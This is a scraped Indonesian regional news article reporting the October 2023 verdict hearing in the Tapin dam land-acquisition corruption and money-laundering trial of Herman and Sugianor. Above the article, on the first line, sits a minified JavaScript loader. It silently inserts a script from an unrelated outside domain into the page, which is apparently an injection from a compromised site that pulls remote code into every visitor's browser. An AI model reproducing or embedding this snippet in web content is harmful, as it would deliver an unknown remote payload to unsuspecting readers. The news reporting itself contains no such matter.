(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dua Terdakwa Korupsi Pembebasan Lahan Bendungan Tapin Dengarkan Putusan


KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara kasus gratifikasi dan pencucian uang pembebasan lahan proyek Bendungan Tapin, Kalimantan Selatan (Kalsel) memasuki babak akhir.

Senin (9/10/2023) pagi, majelis hakim Pengadilan Tipikor Banjarmasin membacakan putusan kepada dua terdakwa Herman dan Sugianor.

Putusan terlebih dahulu dibacakan untuk terdakwa Herman seorang petani di sekitar Bendungan Pipitak Jaya.

Sementara itu, terdakwa Sugianor mantan Kepala Desa (Kades) Pipitak Jaya menjadi terdakwa kedua yang dibacakan putusan.

Baca juga: BPBD Banjar Terus Pasok Air Bersih di Wilayah Kekeringan

Keduanya hadir langsung dalam persidangan setelah dijemput dari Lembaga Pemasyarakatan (Lapas) Kelas II Teluk Dalam Banjarmasin.

Pantauan Kanalkalimantan.com di ruang sidang, sejumlah kerabat terdakwa yang datang dari Tapin sejak pagi telah hadir untuk mendengar pembacaan vonis keduanya.

Sebelumnya, dua terdakwa Herman dan Sugianor telah dituntut bersalah oleh Jaksa Penuntut Umum (JPU) dari Kejari Tapin dengan tuntutan pidana 5 tahun penjara.

Sidang di Pengadilan Tipikor Banjarmasin saat pembacaan putusan perkara suap dan pencucian uang kasus pembebasan lahan Bendungan Tapin, Senin (9/10/2023) pagi. Foto: rizki

Baca juga: Hari Pos Sedunia 9 Oktober, Kantor Pos di Era Digital

Keduanya dituntut membayar uang pengganti dengan nominal yang berbeda. Herman dituntut membayar Rp954 juta, sedangkan Sugianor dituntut membayar Rp800 juta atau jika tidak membayar diganti 3 tahun penjara.

JPU menyatakan keduanya terbukti bersalah melakukan tindak pidana sebagaimana diatur dalam Pasal 12 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Selain itu, keduanya juga dianggap bersalah melakukan pencucian uang sebagamiamana diatur Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU).

Kasus korupsi pembebasan lahan pryey Bendungan Tapin tersebut menyeret tiga terdakwa, yaitu Herman, Sugianor, dan Achmad Rizaldy.

Baca juga: Konflik Lahan Sawit di Seruyan Tewaskan Warga, Panglima Jilah Desak Kapolri Bertindak Tegas

Saat proses persidangan, satu orang terdakwa Achmad Rizaldy meninggal dunia karena sakit. Achmad Rizaldy meninggal di Rumah Sakit Suaka Insan Banjarmasin pada Minggu (3/9/2023).

Tiga hari sebelumnya ASN guru SD ini baru saja menjalani sidang tuntutan. Oleh JPU ia dituntut dengan pidana 6 tahun penjara dan membayar uang pengganti Rp600 juta.

Berdasarkan pasal 77 KUHP, majelis hakim Pengadilan Tipikor akhirnya menetapkan perkara maupun tuntutan Achmad Rizaldy dinyatakan gugur.

“Menyatakan tuntutan penuntut umum terhadap Achmad Rizaldy gugur,” ucap hakim ketua Suwandi, Senin (11/9/2023). (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

11 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

13 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

13 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

13 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

15 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

16 jam ago

This website uses cookies.